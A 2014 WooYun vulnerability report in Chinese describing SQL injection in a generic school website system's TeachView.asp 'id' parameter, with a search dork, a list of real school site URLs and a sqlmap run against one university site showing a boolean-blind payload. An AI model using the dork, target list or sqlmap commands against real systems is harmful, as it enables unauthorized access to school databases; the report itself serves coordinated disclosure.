当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-065350

漏洞标题:某通用学校系统SQL注入漏洞之一(影响众多edu)

相关厂商:Cncert国家互联网应急中心

漏洞作者: 泳少

提交时间:2014-06-18 11:30

修复时间:2014-08-02 11:32

公开时间:2014-08-02 11:32

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:5

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-18: 细节已通知厂商并且等待厂商处理中
2014-06-23: 厂商已经确认,细节仅向厂商公开
2014-06-26: 细节向第三方安全合作伙伴开放
2014-08-17: 细节向核心白帽子及相关领域专家公开
2014-08-27: 细节向普通白帽子公开
2014-09-06: 细节向实习白帽子公开
2014-08-02: 细节向公众公开

简要描述:

RT。大家好。。。我是小白。。求各种带

详细说明:

关键字:inurl:TeachView.asp


t01e7a0f0062dde41d1.png

百度关键字是这么多的。。
还有谷歌

http://74.125.227.77/search?q=inurl:TeachView.asp&newwindow=1&ei=lwWhU5ylCZCeyAS96oGgBw&start=20&sa=N&biw=1024&bih=615


然后随便找一个网站。
如下

http://lmk.xhqedu.gov.cn/TeachView.asp?id=20%27
http://www.nczxx.org/TeachView.asp?id=31%27
http://xszy.pdsu.edu.cn/zsx/TeachView.asp?id=59%27
http://www.pjlbsyxx.com/TeachView.asp?id=22%27
http://www.aybfjz.com/TeachView.asp?id=12%27
http://www.scshlx.com/TeachView.asp?id=21%27
http://www.zsguyi.net/TeachView.asp?id=15%27
http://www.nbyale.com/teachview.asp?id=36%27
http://www.pjlbsyxx.com/TeachView.asp?id=26%27
http://www.hzdfxx.com.cn/teachview.asp?id=24%27
http://www.gtxy.cn/xsc/sgzx/TeachView.asp?id=22%27


大都出错。。

1.png


然后我就随便找了一个网站利用sqlmap跑了下裤子。。

[root@Hacker~]# Sqlmap sqlmap -u "http://xszy.pdsu.edu.cn/zsx/TeachView.asp?id=5
9" --dbs --current-user --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:24:22
[14:24:22] [INFO] testing connection to the target url
[14:24:23] [INFO] testing if the url is stable, wait a few seconds
[14:24:24] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[14:24:24] [INFO] testing if GET parameter 'id' is dynamic
[14:24:25] [INFO] confirming that GET parameter 'id' is dynamic
[14:24:25] [WARNING] GET parameter 'id' appears to be not dynamic
[14:24:25] [INFO] heuristics detected web page charset 'GB2312'
[14:24:25] [WARNING] reflective value(s) found and filtering out
[14:24:25] [INFO] heuristic test shows that GET parameter 'id' might be injectab
le (possible DBMS: Microsoft Access)
[14:24:25] [INFO] testing for SQL injection on GET parameter 'id'
[14:24:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:24:27] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft Access.
Do you want to skip test payloads specific for other DBMSes? [Y/n]
[14:24:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:24:29] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[14:24:34] [INFO] checking if the injection point on GET parameter 'id' is a fal
se positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N]
sqlmap identified the following injection points with a total of 30 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=59 AND 2677=2677
---
[14:24:39] [INFO] testing Microsoft Access
[14:24:39] [INFO] confirming Microsoft Access
[14:24:40] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[14:24:40] [WARNING] on Microsoft Access it is not possible to enumerate the cur
rent user
current user: None
[14:24:40] [WARNING] on Microsoft Access it is not possible to get name of the c
urrent database
current database: None
[14:24:40] [WARNING] on Microsoft Access it is not possible to enumerate databas
es
[14:24:40] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 30 times
[14:24:40] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[14:24:40] [INFO] fetched data logged to text files under 'D:\??\???~1\tools\???
?\SQLMAP~3\Bin\output\xszy.pdsu.edu.cn'
[*] shutting down at 14:24:40

漏洞证明:

貌似脱裤子的节奏啊

修复方案:

你懂的

版权声明:转载请注明来源 泳少@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2014-06-23 08:26

厂商回复:

cnvd确认并复现所述多个实例情况,确认通用性,已经由cnvd通过公开联系渠道向软件生产厂商校无忧网络科技公司通报,电话至0564 ,将通报发送至 (鲁先生)邮箱中处置

最新状态:

暂无